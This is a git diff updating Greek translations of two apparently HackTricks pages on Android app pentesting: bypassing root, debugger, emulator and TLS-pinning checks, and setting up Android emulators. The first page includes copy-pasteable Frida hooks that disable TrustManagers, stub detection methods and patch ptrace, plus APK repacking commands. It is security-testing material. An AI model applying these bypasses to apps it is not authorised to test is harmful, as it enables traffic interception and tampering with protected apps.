[https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 64c447e05..104f823d1 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,14 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -Αυτή η σελίδα παρέχει ένα πρακτικό workflow για να επανακτήσετε dynamic analysis απέναντι σε Android εφαρμογές που ανιχνεύουν/blockαρουν instrumentation λόγω root ή επιβάλλουν TLS pinning. Εστιάζει σε γρήγορο triage, κοινές ανιχνεύσεις και copy‑pasteable hooks/tactics για να τις παρακάμψετε χωρίς repacking όταν είναι δυνατόν. +Αυτή η σελίδα παρέχει μια πρακτική ροή εργασίας για να ανακτήσετε τη dynamic analysis ενάντια σε Android apps που ανιχνεύουν/root‑μπλοκάρουν instrumentation ή επιβάλλουν TLS pinning. Εστιάζει στην ταχεία αξιολόγηση, στις κοινές ανιχνεύσεις και σε copy‑pasteable hooks/tactics για να τα παρακάμψετε χωρίς repacking όταν είναι δυνατόν. ## Detection Surface (what apps check) -- Root checks: su binary, Magisk paths, getprop values, common root packages +- Έλεγχοι root: su binary, Magisk paths, getprop values, common root packages - Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs - Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks -- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present +- Έλεγχοι πρώιμης εκκίνησης: Application.onCreate() ή hooks κατά την εκκίνηση της διεργασίας που κάνουν crash αν υπάρχει instrumentation - TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins ## Step 1 — Quick win: hide root with Magisk DenyList @@ -18,7 +18,7 @@ - Ενεργοποιήστε το DenyList, προσθέστε το target package - Επανεκκινήστε και επανελέγξτε -Πολλές εφαρμογές κοιτάνε μόνο για προφανή δείκτες (su/Magisk paths/getprop). Το DenyList συχνά αδρανοποιεί τέτοιους naive ελέγχους. +Πολλές εφαρμογές κοιτάνε μόνο για προφανείς ενδείξεις (su/Magisk paths/getprop). Το DenyList συχνά εξουδετερώνει τους απλοϊκούς ελέγχους. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk @@ -35,13 +35,13 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -Αυτά συνήθως stub-άρουν Java root/debug checks, process/service scans και native ptrace(). Χρήσιμα σε ελαφρώς προστατευμένες εφαρμογές· hardened targets μπορεί να χρειαστούν tailored hooks. +Αυτά συνήθως αντικαθιστούν (stub) Java root/debug checks, process/service scans και native ptrace(). Χρήσιμα σε lightly protected apps· hardened targets μπορεί να χρειάζονται tailored hooks. - Codeshare: https://codeshare.frida.re/ ## Αυτοματοποιήστε με Medusa (Frida framework) -Η Medusa παρέχει 90+ έτοιμα modules για SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, και άλλα. +Το Medusa παρέχει 90+ έτοιμα modules για SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception και άλλα. ```bash git clone https://github.com/Ch0pin/medusa cd medusa @@ -54,40 +54,40 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -Συμβουλή: Η Medusa είναι εξαιρετική για γρήγορα αποτελέσματα πριν γράψετε custom hooks. Μπορείτε επίσης να επιλέξετε modules και να τα συνδυάσετε με τα δικά σας scripts. +Συμβουλή: Το Medusa είναι εξαιρετικό για γρήγορες νίκες πριν γράψετε custom hooks. Μπορείτε επίσης να cherry-pick modules και να τα συνδυάσετε με τα δικά σας scripts. -## Βήμα 3 — Παράκαμψη των init-time ανιχνευτών με καθυστερημένη προσάρτηση +## Βήμα 3 — Παράκαμψη των init-time detectors με σύνδεση αργότερα -Πολλές ανιχνεύσεις εκτελούνται μόνο κατά το process spawn/onCreate(). Η spawn‑time injection (-f) ή τα gadgets εντοπίζονται· η προσάρτηση μετά τη φόρτωση του UI μπορεί να περάσει απαρατήρητη. +Πολλές ανιχνεύσεις τρέχουν μόνο κατά το process spawn/onCreate(). Η spawn‑time injection (-f) ή τα gadgets εντοπίζονται· η σύνδεση μετά τη φόρτωση του UI μπορεί να περάσει απαρατήρητη. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -Αν αυτό λειτουργήσει, διατηρήστε τη συνεδρία σταθερή και προχωρήστε στη χαρτογράφηση και στους ελέγχους stub. +Αν αυτό λειτουργήσει, κράτησε τη συνεδρία σταθερή και προχώρα στη χαρτογράφηση και στους ελέγχους των stubs. -## Βήμα 4 — Χαρτογράφηση της λογικής ανίχνευσης μέσω Jadx και αναζήτησης συμβολοσειρών +## Βήμα 4 — Χαρτογράφησε τη λογική ανίχνευσης μέσω Jadx και αναζήτησης συμβολοσειρών -Στατικές λέξεις-κλειδιά (triage) στο Jadx: +Στατικές λέξεις-κλειδιά στο Jadx: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" -Συνήθη μοτίβα Java: +Τυπικά μοτίβα Java: ```java public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -Common APIs to review/hook: +Συνηθισμένα APIs προς review/hook: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices -- java.lang.System.loadLibrary / System.load (native bridge) -- java.lang.Runtime.exec / ProcessBuilder (probing commands) -- android.os.SystemProperties.get (root/emulator heuristics) +- java.lang.System.loadLibrary / System.load (γέφυρα εγγενούς κώδικα) +- java.lang.Runtime.exec / ProcessBuilder (εντολές ανίχνευσης) +- android.os.SystemProperties.get (ευριστικές για root/emulator) -## Βήμα 5 — Runtime stubbing με Frida (Java) +## Βήμα 5 — Runtime stubbing with Frida (Java) -Παρακάμψτε custom guards ώστε να επιστρέφουν ασφαλείς τιμές χωρίς repacking: +Override custom guards για να επιστρέφουν safe values χωρίς repacking: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -Διερευνάτε early crashes; Dump classes ακριβώς πριν τερματιστεί για να εντοπίσετε πιθανές detection namespaces: +Αναλύετε πρώιμες καταρρεύσεις; Dump classes λίγο πριν καταρρεύσει για να εντοπίσετε πιθανές detection namespaces: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); -Καταγράψτε και αδρανοποιήστε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης: +Καταγράψτε και ουδετεροποιήστε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -131,9 +131,9 @@ return false; ``` ## Bypass emulator/VM detection (Java stubs) -Συνηθισμένες ευρετικές μέθοδοι: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE που περιέχουν generic/goldfish/ranchu/sdk; ενδείξεις QEMU όπως /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; απουσία telephony/sensors. +Συνηθισμένες ευρετικές μέθοδοι: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE που περιέχουν generic/goldfish/ranchu/sdk; QEMU artifacts όπως /dev/qemu_pipe, /dev/socket/qemud; προεπιλεγμένη MAC 02:00:00:00:00:00; 10.0.2.x NAT; έλλειψη τηλεφωνίας/αισθητήρων. -Γρήγορη παραποίηση των Build fields: +Γρήγορο spoof των Build fields: ```js Java.perform(function(){ var Build = Java.use('android.os.Build'); @@ -143,11 +143,11 @@ Build.BRAND.value = 'google'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; }); ``` -Συμπληρώστε με stubs για ελέγχους ύπαρξης αρχείων και αναγνωριστικά (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) ώστε να επιστρέφουν ρεαλιστικές τιμές. +Συμπληρώστε με stubs για ελέγχους ύπαρξης αρχείων και για αναγνωριστικά (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) ώστε να επιστρέφουν ρεαλιστικές τιμές. ## SSL pinning bypass quick hook (Java) -Αχρηστεύστε προσαρμοσμένους TrustManagers και επιβάλετε επιεικείς SSL contexts: +Αδρανοποιήστε προσαρμοσμένους TrustManagers και εξαναγκάστε permissive SSL contexts: ```js Java.perform(function(){ var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); @@ -166,27 +166,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }); ``` Σημειώσεις -- Επεκτείνετε για OkHttp: κάντε hook το okhttp3.CertificatePinner και το HostnameVerifier όπως χρειάζεται, ή χρησιμοποιήστε ένα universal unpinning script από CodeShare. +- Επεκτείνετε για OkHttp: hook okhttp3.CertificatePinner και HostnameVerifier όπως χρειάζεται, ή χρησιμοποιήστε ένα universal unpinning script από CodeShare. - Παράδειγμα εκτέλεσης: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## Step 6 — Ακολουθήστε το JNI/native μονοπάτι όταν τα Java hooks αποτυγχάνουν +## Βήμα 6 — Ακολουθήστε το JNI/native μονοπάτι όταν τα Java hooks αποτύχουν -Ανιχνεύστε τα σημεία εισόδου JNI για να εντοπίσετε native loaders και την αρχικοποίηση της ανίχνευσης: +Ιχνηλατήστε τα σημεία εισόδου JNI για να εντοπίσετε native loaders και detection init: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -Γρήγορη εγγενής διαλογή των συσκευασμένων αρχείων .so: +Γρήγορη native triage των bundled .so files: ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -Διαδραστική/εγγενής reversing: +Διαδραστική/native reversing: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -Παράδειγμα: αδρανοποίηση του ptrace για να παρακάμψετε απλό anti‑debug στο libc: +Παράδειγμα: Αδρανοποιήστε ptrace για να παρακάμψετε απλό anti‑debug στο libc: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -202,22 +202,22 @@ reversing-native-libraries.md ## Βήμα 7 — Objection patching (embed gadget / strip basics) -Όταν προτιμάτε το repacking αντί για runtime hooks, δοκιμάστε: +Όταν προτιμάτε το repacking από τα runtime hooks, δοκιμάστε: ```bash objection patchapk --source app.apk ``` Σημειώσεις: -- Απαιτεί apktool; βεβαιωθείτε για μια τρέχουσα έκδοση από τον επίσημο οδηγό για να αποφύγετε προβλήματα build: https://apktool.org/docs/install -- Gadget injection επιτρέπει instrumentation χωρίς root αλλά μπορεί ακόμα να εντοπιστεί από ισχυρότερους ελέγχους init‑time. +- Απαιτεί apktool· βεβαιωθείτε ότι έχετε μια ενημερωμένη έκδοση από τον επίσημο οδηγό για να αποφύγετε προβλήματα build: https://apktool.org/docs/install +- Το Gadget injection επιτρέπει instrumentation χωρίς root, αλλά μπορεί να εντοπιστεί από ισχυρότερους init‑time checks. -Προαιρετικά, προσθέστε LSPosed modules και Shamiko για ισχυρότερη απόκρυψη root σε περιβάλλοντα Zygisk, και επιμεληθείτε τη DenyList ώστε να καλύπτει child processes. +Προαιρετικά, προσθέστε LSPosed modules και Shamiko για πιο ισχυρό root hiding σε περιβάλλοντα Zygisk, και επιμεληθείτε τη DenyList ώστε να καλύπτει child processes. Αναφορές: - Objection: https://github.com/sensepost/objection -## Βήμα 8 — Εφεδρική λύση: Patch TLS pinning για ορατότητα του δικτύου +## Step 8 — Εφεδρική λύση: Patch TLS pinning για ορατότητα δικτύου -Εάν το instrumentation αποκλείεται, μπορείτε ακόμα να ελέγξετε την κίνηση αφαιρώντας στατικά το pinning: +Αν το instrumentation μπλοκαριστεί, μπορείτε ακόμα να ελέγξετε την κίνηση αφαιρώντας το pinning στατικά: ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy @@ -233,7 +233,7 @@ make-apk-accept-ca-certificate.md install-burp-certificate.md {{#endref}} -## Χρήσιμη σύνοψη εντολών +## Χρήσιμη λίστα εντολών ```bash # List processes and attach frida-ps -Uai @@ -253,10 +253,10 @@ apk-mitm app.apk ``` ## Συμβουλές & προειδοποιήσεις -- Προτιμήστε το attaching αργά αντί για το spawning όταν οι εφαρμογές καταρρέουν κατά την εκκίνηση -- Ορισμένες ανιχνεύσεις επανεκτελούνται σε κρίσιμες ροές (π.χ., payment, auth) — κρατήστε τα hooks ενεργά κατά την πλοήγηση -- Συνδυάστε static και dynamic: κάνετε string hunt στο Jadx για να περιορίσετε τις κλάσεις; στη συνέχεια hook methods για να τα επαληθεύσετε στο runtime -- Οι hardened εφαρμογές μπορεί να χρησιμοποιούν packers και native TLS pinning — αναμένετε να χρειαστεί να reverse native code +- Προτιμήστε το attaching αργότερα αντί του spawning όταν οι apps crash κατά την εκκίνηση +- Ορισμένες detections επανεκτελούνται σε κρίσιμες ροές (π.χ., payment, auth) — κρατήστε τα hooks ενεργά κατά την πλοήγηση +- Συνδυάστε static και dynamic: string hunt στο Jadx για να shortlistάρετε κλάσεις· στη συνέχεια κάντε hook σε methods για να επαληθεύσετε σε runtime +- Εφαρμογές με hardening μπορεί να χρησιμοποιούν packers και native TLS pinning — περιμένετε να reverse native code ## Αναφορές diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 9efb84597..807578521 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -2,25 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -Ευχαριστώ πολύ τον [**@offsecjay**](https://twitter.com/offsecjay) για τη βοήθειά του στη δημιουργία αυτού του περιεχομένου. +Ευχαριστώ πολύ τον [**@offsecjay**](https://twitter.com/offsecjay) για τη βοήθειά του κατά τη δημιουργία αυτού του περιεχομένου. ## Τι είναι -Το Android Studio επιτρέπει να **τρέξετε εικονικές μηχανές Android που μπορείτε να χρησιμοποιήσετε για να δοκιμάσετε APKs**. Για να τις χρησιμοποιήσετε θα χρειαστείτε: +Android Studio επιτρέπει να **τρέχετε εικονικές συσκευές Android που μπορείτε να χρησιμοποιήσετε για να δοκιμάσετε APKs**. Για να τις χρησιμοποιήσετε θα χρειαστείτε: -- Τα **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -- Ή **Android Studio** (με Android SDK tools) - [Download here](https://developer.android.com/studio). +- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). +- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). -Σε Windows (στη δική μου περίπτωση) **μετά την εγκατάσταση του Android Studio** είχα τα **SDK Tools εγκατεστημένα στο**: `C:\Users\\AppData\Local\Android\Sdk\tools` +Σε Windows (στην περίπτωσή μου) **μετά την εγκατάσταση του Android Studio** τα **SDK Tools ήταν εγκατεστημένα στο**: `C:\Users\\AppData\Local\Android\Sdk\tools` Σε mac μπορείτε να **κατεβάσετε τα SDK tools** και να τα έχετε στο PATH εκτελώντας: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -Ή από **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) το οποίο θα τα εγκαταστήσει σε `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/` +Ή από το **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) το οποίο θα τα εγκαταστήσει σε `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/` -Για τα προβλήματα με την Java: +Για τα προβλήματα Java: ```java export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ``` @@ -40,34 +40,34 @@ Then, click on _**Create Virtual Device**_
-_**επιλέξτε** το τηλέφωνο που θέλετε να χρησιμοποιήσετε_ και κάντε κλικ στο _**Next.**_ +_**select** the phone you want to use_ and click on _**Next.**_ > [!WARNING] -> Αν χρειάζεστε τηλέφωνο με εγκατεστημένο το Play Store επιλέξτε ένα με το εικονίδιο του Play Store! +> If you need a phone with Play Store installed select one with the Play Store icon on it! > > -Στην τρέχουσα προβολή θα μπορείτε να **επιλέξετε και να κατεβάσετε την εικόνα Android** που θα εκτελεί το τηλέφωνο: +Στην τρέχουσα προβολή θα μπορείτε να **select and download the Android image** που θα τρέχει το τηλέφωνο:
-Άρα, επιλέξτε την και αν δεν είναι κατεβασμένη κάντε κλικ στο σύμβολο _**Download**_ δίπλα στο όνομα (**περιμένετε μέχρι να ολοκληρωθεί το κατέβασμα της εικόνας).**\ +Έτσι, επιλέξτε το και αν δεν είναι κατεβασμένο κάντε κλικ στο σύμβολο _**Download**_ δίπλα στο όνομα (**now wait until the image is downloaded).**\ Μόλις η εικόνα κατέβει, απλά επιλέξτε **`Next`** και **`Finish`**. -Η εικονική μηχανή θα δημιουργηθεί. Τώρα **κάθε φορά που έχετε πρόσβαση στον AVD Manager θα είναι διαθέσιμη**. +Η εικονική μηχανή θα δημιουργηθεί. Τώρα **every time that you access AVD manager it will be present**. -### Εκτέλεση Εικονικής Μηχανής +### Run Virtual Machine -Για να την **τρέξετε** απλά πατήστε το _**Start button**_. +Για να την **run** πατήστε απλά το _**Start button**_. ![](<../../images/image (518).png>) -## Εργαλείο γραμμής εντολών +## Command Line tool > [!WARNING] -> Για macOS μπορείτε να βρείτε το εργαλείο `avdmanager` στο `/Users//Library/Android/sdk/tools/bin/avdmanager` και τον `emulator` στο `/Users//Library/Android/sdk/emulator/emulator` αν τα έχετε εγκατεστημένα. +> For macOS you can find the `avdmanager` tool in `/Users//Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users//Library/Android/sdk/emulator/emulator` if you have them installed. -Πρώτα από όλα πρέπει να **αποφασίσετε ποιο τηλέφωνο θέλετε να χρησιμοποιήσετε**, για να δείτε τη λίστα με τα δυνατά τηλέφωνα εκτελέστε: +Πρώτα απ' όλα πρέπει να **decide which phone you want to use**, για να δείτε τη λίστα με τα δυνατά τηλέφωνα εκτελέστε: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -95,8 +95,8 @@ Name: Nexus 10 OEM : Google [...] ``` -Αφού αποφασίσετε το όνομα της συσκευής που θέλετε να χρησιμοποιήσετε, πρέπει να **αποφασίσετε ποιο Android image θέλετε να τρέξετε σε αυτή τη συσκευή.**\ -Μπορείτε να δείτε όλες τις επιλογές χρησιμοποιώντας `sdkmanager`: +Μόλις αποφασίσετε το όνομα της συσκευής που θέλετε να χρησιμοποιήσετε, πρέπει να **επιλέξετε ποια εικόνα Android θέλετε να τρέξετε σε αυτή τη συσκευή.**\ +Μπορείτε να απαριθμήσετε όλες τις επιλογές χρησιμοποιώντας το `sdkmanager`: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` @@ -104,7 +104,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -Μόλις έχετε κατεβάσει την εικόνα Android που θέλετε να χρησιμοποιήσετε, μπορείτε να **εμφανίσετε όλες τις ληφθείσες εικόνες Android** με: +Μόλις έχετε κατεβάσει την Android εικόνα που θέλετε να χρησιμοποιήσετε, μπορείτε να **εμφανίσετε όλες τις κατεβασμένες Android εικόνες** με: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -120,12 +120,11 @@ Type: Platform API level: 29 Revision: 4 ``` -Αυτή τη στιγμή έχετε αποφασίσει ποια συσκευή θέλετε να χρησιμοποιήσετε και έχετε κατεβάσει την εικόνα Android, οπότε **μπορείτε να δημιουργήσετε την εικονική μηχανή χρησιμοποιώντας**: +Σε αυτό το σημείο έχεις αποφασίσει τη συσκευή που θέλεις να χρησιμοποιήσεις και έχεις κατεβάσει το Android image, οπότε **μπορείς να δημιουργήσεις την εικονική μηχανή χρησιμοποιώντας**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -Στην τελευταία εντολή **δημιούργησα μια VM με όνομα** "_AVD9_" χρησιμοποιώντας τη **συσκευή** "_Nexus 5X_" και την **Android image** "_system-images;android-28;google_apis;x86_64_".\ -Τώρα μπορείτε **να απαριθμήσετε τις εικονικές μηχανές** που έχετε δημιουργήσει με: +Στην τελευταία εντολή **δημιούργησα ένα VM με όνομα** "_AVD9_" χρησιμοποιώντας τη **συσκευή** "_Nexus 5X_" και την **εικόνα Android** "_system-images;android-28;google_apis;x86_64_".\ Τώρα μπορείτε να **απαριθμήσετε τις εικονικές μηχανές** που έχετε δημιουργήσει με: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -151,44 +150,44 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 Pixel_2_API_27 ``` -Μπορείτε απλά να **τρέξετε οποιαδήποτε εικονική μηχανή που έχετε δημιουργήσει** χρησιμοποιώντας: +Μπορείτε απλά να **τρέξετε οποιαδήποτε δημιουργημένη εικονική μηχανή** χρησιμοποιώντας: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" ``` -Ή χρησιμοποιώντας πιο προηγμένες επιλογές μπορείτε να τρέξετε μια virtual machine όπως: +Ή χρησιμοποιώντας πιο προηγμένες επιλογές μπορείτε να εκτελέσετε μια εικονική μηχανή όπως: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` ### Επιλογές γραμμής εντολών -Ωστόσο υπάρχουν **πολλές διαφορετικές χρήσιμες επιλογές γραμμής εντολών** που μπορείτε να χρησιμοποιήσετε για να ξεκινήσετε μια virtual μηχανή. Παρακάτω μπορείτε να βρείτε μερικές ενδιαφέρουσες επιλογές αλλά μπορείτε [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) +Ωστόσο υπάρχουν **πολλές διαφορετικές χρήσιμες επιλογές γραμμής εντολών** που μπορείτε να χρησιμοποιήσετε για να ξεκινήσετε μια εικονική μηχανή. Παρακάτω μπορείτε να βρείτε μερικές ενδιαφέρουσες επιλογές αλλά μπορείτε [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) **Εκκίνηση** -- `-snapshot name` : Εκκίνηση snapshot του VM -- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Λίστα όλων των snapshots που έχουν καταγραφεί +- `-snapshot name` : Εκκίνηση snapshot της VM +- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Εμφανίζει όλα τα καταγεγραμμένα snapshots **Δίκτυο** -- `-dns-server 192.0.2.0, 192.0.2.255` : Επιτρέπει τον καθορισμό, με κόμμα, των DNS servers για το VM. -- **`-http-proxy 192.168.1.12:8080`** : Επιτρέπει τον καθορισμό ενός HTTP proxy προς χρήση (πολύ χρήσιμο για την καταγραφή της κίνησης με Burp) -- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid". -- `-netdelay 200` : Ορίζει την προσομοίωση καθυστέρησης δικτύου σε milliseconds. -- `-port 5556` : Ορίζει τον αριθμό TCP port που χρησιμοποιείται για την κονσόλα και το adb. -- `-ports 5556,5559` : Ορίζει τις TCP θύρες που χρησιμοποιούνται για την κονσόλα και το adb. +- `-dns-server 192.0.2.0, 192.0.2.255` : Επιτρέπει να υποδείξετε τους DNS servers στην VM, χωρισμένους με κόμμα. +- **`-http-proxy 192.168.1.12:8080`** : Επιτρέπει να ορίσετε έναν HTTP proxy για χρήση (πολύ χρήσιμο για την καταγραφή της κυκλοφορίας με χρήση του Burp) +- Εάν οι ρυθμίσεις proxy δεν λειτουργούν για κάποιο λόγο, δοκιμάστε να τις ρυθμίσετε εσωτερικά ή χρησιμοποιώντας μια εφαρμογή όπως "Super Proxy" ή "ProxyDroid". +- `-netdelay 200` : Ρυθμίζει την προσομοίωση καθυστέρησης δικτύου σε milliseconds. +- `-port 5556` : Ορίζει τον αριθμό θύρας TCP που χρησιμοποιείται για το console και το adb. +- `-ports 5556,5559` : Ορίζει τις TCP θύρες που χρησιμοποιούνται για το console και το adb. - **`-tcpdump /path/dumpfile.cap`** : Καταγράφει όλη την κίνηση σε ένα αρχείο **Σύστημα** -- `-selinux {disabled|permissive}` : Ορίζει το Security-Enhanced Linux security module σε disabled ή permissive mode σε σύστημα Linux. +- `-selinux {disabled|permissive}` : Θέτει το Security-Enhanced Linux security module είτε σε disabled είτε σε permissive mode σε ένα λειτουργικό σύστημα Linux. - `-timezone Europe/Paris` : Ορίζει τη ζώνη ώρας για τη virtual συσκευή - `-screen {touch(default)|multi-touch|o-touch}` : Ορίζει τη λειτουργία προσομοιωμένης οθόνης αφής. -- **`-writable-system`** : Χρησιμοποιήστε αυτή την επιλογή για να έχετε ένα writable system image κατά τη διάρκεια της συνεδρίας emulation. Θα χρειαστεί επίσης να τρέξετε `adb root; adb remount`. Αυτό είναι πολύ χρήσιμο για την εγκατάσταση ενός νέου πιστοποιητικού στο σύστημα. +- **`-writable-system`** : Χρησιμοποιήστε αυτήν την επιλογή για να έχετε ένα writable system image κατά τη διάρκεια της συνεδρίας emulation. Θα χρειαστεί επίσης να τρέξετε `adb root; adb remount`. Αυτό είναι πολύ χρήσιμο για να εγκαταστήσετε ένα νέο πιστοποιητικό στο σύστημα. -## Εγκατάσταση CLI σε Linux (SDK/AVD γρήγορη εκκίνηση) +## Εγκατάσταση Linux CLI (SDK/AVD quickstart) -Τα επίσημα CLI εργαλεία διευκολύνουν τη δημιουργία γρήγορων, debuggable emulators χωρίς το Android Studio. +Τα επίσημα εργαλεία CLI διευκολύνουν τη δημιουργία γρήγορων, debuggable emulators χωρίς Android Studio. ```bash # Directory layout mkdir -p ~/Android/cmdline-tools/latest @@ -217,11 +216,11 @@ adb root adb shell whoami # expect: root ``` Σημειώσεις -- Παραλλαγές εικόνων συστήματος: google_apis (με δυνατότητα debugging, επιτρέπει `adb root`), google_apis_playstore (δεν είναι δυνατό να γίνει root), aosp/default (ελαφρύ). -- Τύποι build: userdebug συχνά επιτρέπει `adb root` σε εικόνες με δυνατότητα debugging. Οι εικόνες Play Store είναι production builds και μπλοκάρουν το root. -- Σε x86_64 hosts, η πλήρης εξομοίωση συστήματος ARM64 δεν υποστηρίζεται από API 28+. Για Android 11+ χρησιμοποιήστε εικόνες Google APIs/Play που περιλαμβάνουν per-app ARM-to-x86 translation για να τρέξετε πολλά ARM-only apps γρήγορα. +- Παραλλαγές system image: google_apis (debuggable, επιτρέπει adb root), google_apis_playstore (όχι rootable), aosp/default (ελαφρύ). +- Τύποι build: userdebug συχνά επιτρέπει `adb root` σε debug-capable images. Play Store images είναι production builds και μπλοκάρουν το root. +- Σε hosts x86_64, η full-system ARM64 emulation δεν υποστηρίζεται από API 28+. Για Android 11+ χρησιμοποιήστε Google APIs/Play images που περιλαμβάνουν per-app ARM-to-x86 translation για να τρέξετε πολλές ARM-only apps γρήγορα. -### Snapshots from CLI +### Στιγμιότυπα από CLI ```bash # Save a clean snapshot from the running emulator adb -s emulator-5554 emu avd snapshot save my_clean_setup @@ -231,22 +230,22 @@ emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` ## ARM→x86 μετάφραση δυαδικών (Android 11+) -Google APIs και Play Store εικόνες στο Android 11+ μπορούν να μεταφράσουν δυαδικά ARM εφαρμογών ανά διεργασία διατηρώντας το υπόλοιπο σύστημα γηγενές x86/x86_64. Συχνά αυτό είναι αρκετά γρήγορο για να δοκιμάσετε πολλές εφαρμογές αποκλειστικά ARM σε desktop. +Τα Google APIs και οι εικόνες Play Store στο Android 11+ μπορούν να μεταφράσουν ARM app binaries ανά διαδικασία, διατηρώντας το υπόλοιπο σύστημα native x86/x86_64. Αυτό είναι συχνά αρκετά γρήγορο για να δοκιμάσετε πολλές εφαρμογές που τρέχουν μόνο σε ARM σε desktop. -> Συμβουλή: Προτιμήστε τις εικόνες 